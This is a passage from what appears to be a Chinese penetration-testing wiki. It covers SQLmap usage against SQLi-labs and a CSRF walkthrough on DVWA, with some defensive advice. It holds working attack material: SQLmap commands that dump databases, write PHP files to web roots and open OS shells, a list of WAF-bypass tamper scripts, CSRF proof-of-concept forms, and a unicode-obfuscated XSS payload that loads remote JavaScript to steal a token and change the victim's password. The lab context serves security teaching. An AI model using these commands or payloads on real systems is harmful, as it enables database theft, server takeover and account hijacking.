为了提高安全性,应该关闭魔术引号(magic_quotes_gpc). 操作中需要注意MySQL的文件读写权限以及文件的绝对路径. 利用SQLmap获得shell权限只限于Linux ​\tSQLmap证明存在注入并确保有dba权限.所谓DBA权限就是数据库的最大权限.在MariaDB数据库中一般为root. ​\t在SQL注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作. ​\t前文手注写入木马也是基于这个前提.SQLmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --is-dba current user is DBA:True代表其具备DBA权限.在SQLmap中--os-shell代表SqlMap将尝试获取shell. sqlmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --os-shell选择对相应的中间件类型,这里用的lamp,所以选PHP 选择2制定web站点路径 输入上传目录/www/admin/localhost_80/wwwroot/SQLi-labs 获得os shell SQL注入的防御方法过滤可以对用户提交的敏感字符进行过滤和拦截. 转义可以对用户提交的敏感字符进行转义. 参数化查询参数化查询也叫做预处理,它分两个步骤处理用户的输入. 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符. 网站应用程序指定每个占位符的内容. ​\t在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构. ​\t这样,网站应用程序就不会将用户输入语句判断为SQL语句执行了,而会把用户的输入当做一个整体去查询. 加密存储对重要数据,不在表单中明文存储,而选择加密存储. 限制数据库权限和特权最小化权限原则.将数据库用户的功能设置为最低要求; 这将限制攻击者在设法获取访问权限时可以执行的操作."},{"title":"三. SqlMap使用","path":"/wiki/VulnerabilityInsightDocs/三. SqlMap使用.html","content":"总字符数: 13.31K 代码: 12.79K, 文本: 0.37K 预计阅读时间: 57 分钟 SQLMap使用SQLMAP介绍与常规操作 sqlmap是一个由Python语言编写的开源渗透测试工具,它主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具 它可以检测的数据库有:access、mssql、mysql、oracle、postgresql、db2、sqlite等 可以进行sql盲注、union联合注入、显错注入、延迟注入、post注入、cookie注入等 其他功能: 执行命令、列举用户、检测权限、自动破解、数据导出等功能. SQLMAP一般步骤 检测注入点: 使用 SQLMap 运行基本的检测命令,以确定目标网站是否存在 SQL 注入漏洞. 1sqlmap -u "目标URL" --dbs 如果存在注入点,SQLMap 将显示可用的数据库. 获取数据库版本: 获取目标数据库的版本信息,这对后续的攻击非常重要. 1sqlmap -u "目标URL" --banner 获取当前用户: 确定当前数据库用户,以了解当前权限. 1sqlmap -u "目标URL" --current-user 获取数据库: 列举目标数据库. 1sqlmap -u "目标URL" --dbs 获取表: 获取数据库中的表. 1sqlmap -u "目标URL" -D 目标数据库 --tables 获取列: 获取指定表的列. 1sqlmap -u "目标URL" -D 目标数据库 -T 目标表 --columns 获取数据: 获取表中的数据. 1sqlmap -u "目标URL" -D 目标数据库 -T 目标表 -C "列1,列2,列3" --dump SQLMAP基本参数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960-h 查看帮助选项--is-dba 当前用户权限--dbs 所有数据库--current-db 网站当前数据库--users 所有数据库用户--current-user 当前数据库用户--tables 参数:列表名--columns 参数:列字段--dump 参数:下载数据--dump-all 转存DBMS数据库所有表项目--level 测试等级(1-5),默认为1读取数据库--->读取表---->读取表的列---->获取内容-D 指定数据库-T 指定表-C 指定列--dbms=mysql oracle mssql 指定数据库--passwords\t枚举所有用户密码--roles\t列出数据库管理员角色--privileges 列出数据库管理员权限# 列举数据库系统的架构sqlmap -u "http://10.10.10.197/Less-1/?id=1" --schema --batch --exclude-sysdbs# 探测等级--level# 共有五个等级# 默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload.这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试.# 总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值.# 显示调试信息# -v 显示调试信息 有7个级别# 0. 只显示python错误以及严重的信息.# 1. 同时显示基本信息和警告信息.(默认)# 2. 同时显示debug信息.# 3. 同时显示注入的payload.# 4. 同时显示HTTP请求.# 5. 同时显示HTTP响应头.# 6. 同时显示HTTP响应页面.# 风险等级--risk# 共有四个风险等级,# 1. 默认是1会测试大部分的测试语句,# 2. 2会增加基于事件的测试语句,# 3. 3会增加OR语句的SQL注入测试.# 4. 4可能会修改数据库内容# 在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险.# 测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload. SQLMAP获取目标123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195# 参数:-u或者--url# 格式:http(s)://targeturl[:port]/[...]sqlmap -u http://www.target.com/vuln.php?id=1# 从文本中获取多个目标扫描# 参数:-m# 文件中保存url格式如下,sqlmap会一个一个检测www.target1.com/vuln1.php?q=foobarwww.target2.com/vuln2.asp?id=1www.target3.com/vuln3/id/1*# 获取http post请求注入# 参数:-r# sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等).# 比如文本文件内如下:POST /Less-18/ HTTP/1.1Host: 192.168.64.252:8080Content-Length: 38Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.64.252:8080Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.64.252:8080/Less-18/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeuname=admin&passwd=admin&submit=Submit# 处理Google搜索结果# 参数:-g# sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果).sqlmap -g "inurl:php?id="# --data# 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数.# 例子:sqlmap -u "http://www.cracer.com/cracer.php" --data="id=1"# --param-del# 参数拆分字符# 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数.# 例子:sqlmap -u "http://www.cracer.com/vuln.php" --data="query=foobar;d=1" --param-del=";" # --cookie# 适用于cookie注入# 将参加加入cookie注入测试sqlmap -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2# --referer# sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入.# --headers# 可以通过--headers参数来增加额外的http头--hearders "client-ip: 1.1.1.1"# --proxy# 使用--proxy代理是格式为:http://url:port.--proxy=http://127.0.0.1:1080--proxy-file c:/1.txt# 时间控制--delay# 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的.--timeout# 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒.设定重试超时--retries# 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次.设定随机改变的参数值--safe-url,--safe-freq# 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行.# 绕过这个策略有两种方式:1. --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下.2. --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接.-p# sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值.但是你可以手动用-p# 参数设置想要测试的参数.例如: -p "id,user-anget"--prefix,--suffix# 有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行.# 例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1"; # 这时你就需要--prefix和--suffix参数了:sqlmap -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"# 这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1"; --technique# 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式.# 支持的探测方式如下:B: Boolean-based blind SQL injection(布尔型注入)E: Error-based SQL injection(报错型注入)U: UNION query SQL injection(可联合查询注入)S: Stacked queries SQL injection(可多语句查询注入)T: Time-based blind SQL injection(基于时间延迟注入)--union-cols# 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数.设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数.--union-char# 默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符.--second-order# 有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假.--second-order后门跟一个判断页面的URL地址.--dump-all,--exclude-sysdbs # 拖库# 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它.--search,-C,-T,-D# --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段.# 可以在一下三种情况下使用:-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名.-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名.-s,-t# 参数:-s# sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数.保存HTTP(S)日志# 参数:-t# 这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里.--batch# --batch# 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去.# 强制使用字符编码--charset# 不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:# --charset=GBK--flush-session# 如果不想用之前缓存这个目标的session文件,可以使用这个参数.会清空之前的session,重新测试该目标.--hex# 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:sqlmap -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors--output-dir# sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp# 从响应中获取DBMS的错误信息--parse-errors# 有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息.--smart,--mobile# 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数.sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart--mobile# 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆.sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile--identify-waf# sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式.目前大约支持30种产品的识别.--check-waf# WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试.sqlmap将会使用一个不存在的参数来注入测试# 例如对一个受到ModSecurity WAF保护的MySQL例子:sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 SQLMAP常用操作1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465# 暴力破解表名参数:--common-tables# 用--tables无法获取到数据库的表时,可以使用此参数.# 是如下情况:1. MySQL数据库版本小于5.0,没有information_schema表.2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认).3. 当前用户没有权限读取系统中保存数据结构的表的权限.# 暴力破解的表在txt/common-tables.txt文件中,你可以自己添加.Xx --common-tables -D testdb# 暴力破解列名# 参数:--common-columns# 与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中.Xx --common-columns -T text -D testdb# POST登录框注入注入点:http://testasp.vulnweb.com/Login.asp# 两种注入方式:sqlmap -u http://testasp.vulnweb.com/Login.asp --formssqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"# base64编码注入sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs# 请求时间延迟参数:--time-sec# 当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒# 执行sql语句--sql-query="select @@version"--sql-shell# sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句.# 如果是SELECT查询语句,sqlap将会输出结果.如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句.# 文件读写# 从数据库服务器中读取文件参数:--file-read# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.读取的文件可以是文本也可以是二进制文件.sqlmap -u "http://192.168.2.3:81/about/show.php?lang=cn&id=22" --file-read="C:\\Inetpub\\wwwroot\\mysql-php\\1.php"# 文件上传参数:--file-write,--file-dest# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.上传的文件可以是文本也可以是二进制文件.sqlmap -u "http://192.168.2.129/article.php?id=5" --file-write="C:\\1.php" --file-dest="/var/www/html/x.php"# 命令执行参数:--os-cmd,--os-shell# 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数.# 在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()# cmd 执行cmd命令(win)# shell 执行当前用户命令 # --os-shell# 自动上传 脚本文件# 返回shell# WAF绕过注入注入点:http://192.168.159.1/news.php?id=1sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"# 其他几个space2hash.py base64encode.py charencode.py sqlmap--tamper绕过waf插件注释列表12345678910111213141516171819202122232425262728293031323334353637383940414243# 使用方法: --tamper xxx.pyapostrophemask.py 用UTF-8全角字符替换单引号字符apostrophenullencode.py 用非法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使用Base64编码between.py 分别用"NOT BETWEEN 0 AND #"替换大于号">","BETWEEN # AND #"替换等于号"="bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用"LIKE"替换等于号"="chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)concat2concatws.py 用"CONCAT_WS(MID(CHAR(0), 0, 0), A, B)"替换像"CONCAT(A, B)"的实例equaltolike.py 用"LIKE"运算符替换全部等于号"="greatest.py 用"GREATEST"函数替换大于号">"halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py 用"IF(ISNULL(A), B, A)"替换像"IFNULL(A, B)"的实例lowercase.py 用小写值替换每个关键字字符modsecurityversioned.py 用注释包围完整的查询modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加一个百分号randomcase.py 随机转换每个关键字字符的大小写randomcomments.py 向SQL关键字中插入随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加"sp_password" for automatic obfuscation from DBMS logsspace2comment.py 用"/**/"替换空格符space2dash.py 用破折号注释符"--"其次是一个随机字符串和一个换行符替换空格符space2hash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符space2morehash.py 用磅注释符"#"其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py 用磅注释符"#"其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py 用破折号注释符"--"其次是一个换行符替换空格符space2plus.py 用加号"+"替换空格符space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py 用"UNION SELECT"替换"UNION ALL SELECT"unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符varnish.py 添加一个HTTP头"X-originating-IP"来绕过WAFversionedkeywords.py 用MySQL注释包围每个非函数关键字versionedmorekeywords.py 用MySQL注释包围每个关键字xforwardedfor.py 添加一个伪造的HTTP头"X-Forwarded-For"来绕过WAF SQLi_Labs中文目录Page-1(Basic Challenges)12345678910111213141516171819Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)Page-2 (Advanced Injections)123456789101112131415161718192021Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)Less-24 Second Degree Injections _Real treat_ -Store Injections (二次注入)Less-25 Trick with OR & AND (过滤了or和and)Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)Less-26(failed) Trick with comments and space (过滤了注释和空格的注入)Less-26 Trick with comments and space (过滤了注释和空格的注入)Less-26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)Less-27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)Less-27a GET - Blind Based- All your UNION & SELECT belong to usLess-28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入Less-28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入Less-29 基于WAF的一个错误Less-30 Get-Blind Havaing with WAFLess-31 Protection with WAFLess-32 Bypass addslashes()Less-33 Bypass addslashes()Less-34 Bypass Add SLASHESLess-35 why care for addslashes()"},{"title":"九. CSRF跨站请求伪造","path":"/wiki/VulnerabilityInsightDocs/九. CSRF跨站请求伪造.html","content":"总字符数: 13.69K 代码: 3.33K, 文本: 3.84K 预计阅读时间: 31 分钟 漏洞信息 CSRF(跨站请求伪造)是攻击者利用用户的登录凭证,如Cookie,在不知情的情况下代表用户进行操作. 例如,假设用户在网站A上通过链接http://xxx.com/xx.php?password=admin更改密码.如果网站防护不足,攻击者可以在另一网站上放置一个看似无害的图片<img src='http://xxx.com/xx.php?password=admin' />.如果网站A的管理员查看这个图片,他的浏览器会自动发送更改密码为admin的请求,而管理员对此毫无察觉. 漏洞利用条件CSRF漏洞的出现基于两个主要条件,正确理解它们有助于加强安全防护: 来源检查(Referer验证):通过检查请求从哪里来,服务器可以拒绝非本站来源的修改请求.但如果来源验证不严或可以绕过,攻击者的请求可能被误信. 令牌使用(Token验证):服务器为敏感操作生成一次性令牌,用户请求时需带上这个令牌.无有效令牌的请求将被拒绝.如果没有这样的系统或令牌易猜,漏洞可能被攻击者利用. CSRF利用流程 CSRF的危害 执行恶意操作: 攻击者可以通过伪造用户请求执行恶意操作,比如修改用户的设置、删除重要数据等,导致用户遭受损失. 滥用用户权限: 如果用户在受攻击的网站中具有管理员或特殊权限,攻击者可以滥用这些权限执行更为严重的攻击,如关闭账户、修改系统设置等. 社会工程学攻击: 利用CSRF,攻击者可以通过引导用户点击链接或访问特定页面,从而进行社会工程学攻击,欺骗用户执行不安全的操作. 常见PayloadHTML利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击.HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如: 1234567891011121314<link href=""><img src=""><img lowsrc=""><img dynsrc=""><meta http-equiv="refresh" content="0; url="><iframe src=""><frame src=""><script src=""></script><bgsound src=""></bgsound><embed src=""></bgsound><video src=""></video><audio src=""></audio><a href=""></a><table background=""></table> CSS1background:url("") 表单 Post12345<form action="http://www.a.com/register" id="register" method="post"> <input type=text name="username" value="" /> <input type=password name="password" value="" /></form><script>document.forms[0].submit();</script> 漏洞实验本次靶场采用的为dvwa 类型 IP 靶机 192.168.64.1 Exp服务器(Kali) vmcentos.com 账号 密码 admin password 1337 charley 低级请求分析首先我们进入DVWA目标网站,用户名admin,密码 password,并将级别配置为low. 来到CSRF选项,执行一次正常的修改密码并进行观察.可以看到,更改密码的请求是直接放到url里的get请求. 可以看到以上请求包内也没有token第一个要求满足然后我们看看第二个要求referer我们右键Send to Repeater或者快捷键Ctrl+R发送到repeater模块 通过以上图片我们可以分析出即使将referer删掉之后也可以造成密码更改,2个条件都满足 构建POC 我们复制以下内容在Kali的中构造恶意页面 12345678910111213<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.86.131:8042/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="qqqq" /> <input type="hidden" name="password&#95;conf" value="qqqq" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script> </body></html> 然后我们需要配置下hosts文件,将vmcentos.com指向kali的IP地址 PHPstudy第二域名设置为Kali的网关地址(其实就是我们的phpstudy机器的IP)比如我这里是:192.168.64.1 然后刷新DNS 放行后我们的DVWA密码就被修改成了qqqq 上方为了演示所以构造的html需要点击,我们可以将poc放到标签内就不需要点按钮了,只要用户打开就能修改 123<html><img src="http://192.168.86.131/dvwa/vulnerabilities/csrf/?password_new=qqqq&password_conf=qqqq&Change=Change#"/></html> 这段内容描述了通过构造包含恶意代码的poc.html文件,通过<img>标签的src属性来发送GET请求,从而实施CSRF攻击,达到修改用户密码的目的.以下是对内容的精简和整理: CSRF攻击实例攻击步骤 创建包含恶意代码的 poc.html 文件,用于触发CSRF攻击. 利用<img>标签的src属性发送GET请求,诱导用户访问 poc.html. 用户访问后,相当于以其身份发送一次改密的GET请求至服务器,如:http://example.com/change-password?new_password=123456. 服务器接收合法用户请求,执行改密响应,导致密码被修改. 实验结果分析通过<img>标签发送GET请求是一种常见的技巧,但对于一些敏感请求,如果未经妥善处理,仅依赖GET请求而不进行其他验证,容易受到CSRF攻击. 此示例中,用户只需访问包含恶意代码的poc.html文件,其密码即可被攻击者修改.这强调了在处理敏感请求时,需要进行充分验证和其他防御措施,以防止CSRF攻击的发生. 中级请求分析请求分析步骤同低级一样,发现没有token然后将refer删掉看一下 可以看到PHP报错PHP Notice: Undefined index: HTTP_REFERER大概意思就是请求头中的referer不存在我们再伪造一个referer试一下,结果报错这个请求有点问题 接下来我们查看DVWA CSRF的源码分析如下: 我们看到如下代码 1234567 if(stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { # 代码块 }else{ echo "<pre>That request didn't look correct.</pre>";} 12$_SERVER['HTTP_REFERER'] # 获取请求头中的referer值也就是来源地址$_SERVER['SERVER_NAME'] # 获取请求头中的HOST值如:主机名/域名 stripos函数 12stripos (string 字符串,string 要查找的内容);返回查找的内容的位置,如果未找到返回FALSE 找到了并且返回为8而不是FALSE,也就是说只要referer中包含服务器的HOST就可以 构建POC这里使用二级域名的方式构建POC 恶意网页的代码还是用的低级中的代码 我们可以看到密码修改成功,因为我们的域名中本身就带着靶机的HOST所以stripos函数可以找到并且条件成立 高级分析本步骤将分析请求方式及规则 进行一次正常的改密请求,如下: GET请求中使用的user_token参数正是之前提到的令牌(token)机制,确保每次请求的令牌都是无法预测的随机数.这意味着低到中级的攻击方法不再适用,因为没有token,请求将被视为无效.由于token的不可预知性,即使在代码中也难以捕获. 重点强调: 想要通过CSRF攻击构造恶意页面窃取用户的token是行不通的,因为存在跨域问题.举例来说,目标页面http://192.168.86.131:8042/vulnerabilities/csrf位于192.168.86.131服务器上,而攻击者页面可能托管在vmcentos.com.不同的域意味着不能互相获取信息–域名的唯一性使得不可能伪造.域B的页面无法获取域A页面的内容,除非域A主动分享.因此,攻击者无法主动获取目标域的user_token等敏感信息.至此,我们可以判断,单独使用CSRF攻击无法获取用户的token,因而无法完成攻击. 本步骤将利用xss绕过防御规则 这里需要利用到high等级的xss漏洞来获取user_token,payload如下:<iframe src='../csrf' onload=alert(frames[0].document.getElementsByName('user_token')[0].value)> 我获取好多次token以下面为准而获取user_token后,我们就可以重复low等级的步骤,只不过改变一下src里的利用代码: 1234567891011121314<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.64.1/dvwa/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="123456" /> <input type="hidden" name="password&#95;conf" value="123456" /> <input type="hidden" name="Change" value="Change" /> <input type="hidden" name="user&#95;token" value="b2bbd43c3b05749c9f935a19caab8348" /> <input type="submit" value="Submit request" /> </form>\t<script>document.forms[0].submit();</script> </body></html> 注意:8ecf7635b8b09b6caa0a6e1c98dcecc1是通过XSS获取的一次性token,它在每次页面刷新时都会变更. 在安全性较高的网站中,敏感操作(如支付、密码更改等)会要求一个由服务器生成的一次性随机数(`token`).这种机制确保了用户操作的合法性:用户的操作必须携带这个随机数,服务端会验证这个随机数,不匹配或缺失则拒绝请求. 进行攻击时,可按照低级别安全的步骤操作,创建HTML文档来诱导合法用户打开并触发攻击. 极为重要的警告:在使用XSS显示token时,请不要跳转到CSRF页面,因为在通过CSRF跳转到密码修改页面的过程中,token将会被重新刷新,导致之前获取的token失效.当前的浏览器安全策略不支持跨域访问,因此攻击脚本无法直接获取目标页面的user_token. 特高级(不可能)DVWA验证了原始密码,如果攻击者不知道原始密码的情况下不会攻击成功 XSS (Reflected)配合CSRF跨域vps中1.js12345ifr = document.createElement('iframe');ifr.src = "/dvwa/vulnerabilities/csrf/";ifr.hidden = 1;document.body.appendChild(ifr);setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000); payload12345<!-- 未编码 --><svg/onload=i=document.createElement('script');i.src='http://192.168.64.129:8080/1.js';document.body.appendChild(i);> <!-- 编码 --><svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0031\\u0039\\u0032\\u002E\\u0031\\u0036\\u0038\\u002E\\u0036\\u0034\\u002E\\u0031\\u0032\\u0039\\u003A\\u0038\\u0030\\u0038\\u0030\\u002F\\u0031\\u002E\\u006A\\u0073';document.body.appendChild(i);> 由于hidh等级采用了正则过滤,所以我们要实体编码部分字段 1<svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0031\\u0030\\u002E\\u0031\\u0030\\u002E\\u0031\\u0030\\u002E\\u0031\\u0033\\u003A\\u0038\\u0030\\u0038\\u0030\\u002F\\u0031\\u002E\\u006A\\u0073';document.body.appendChild(i);> 默认密码为pssword 将准备好的payload复制到输入框内 退出后使用默认密码登录失败 使用密码:123登录成功 防御验证码(CAPTCHA)验证码是一种强制用户与应用交互的手段,以确认操作的是真人而非自动化脚本或攻击程序.这因为自动化的攻击很难解决验证码,从而可以有效防止机器人自动执行敏感操作. Referer检查(HTTP Referer)通过检查HTTP请求头中的Referer值,服务器可以判断请求是否来自一个合法的源.虽然这种方法可以提高安全性,但并不总是可靠,因为Referer有时可能因为各种原因(如用户隐私设置)而不被发送. TokenToken是一种非常有效的防御机制,因为它确保了每次敏感操作的请求都包含一个无法预测的随机值.将Token存储在用户的会话(Session)或浏览器的Cookies中可以提高安全性.每次用户提交表单时,都应该生成一个新的Token,并且验证提交的Token与会话中的Token是否一致.Token应当保密,不能出现在URL中,以避免通过Referer泄漏. 双重验证(Double Submit 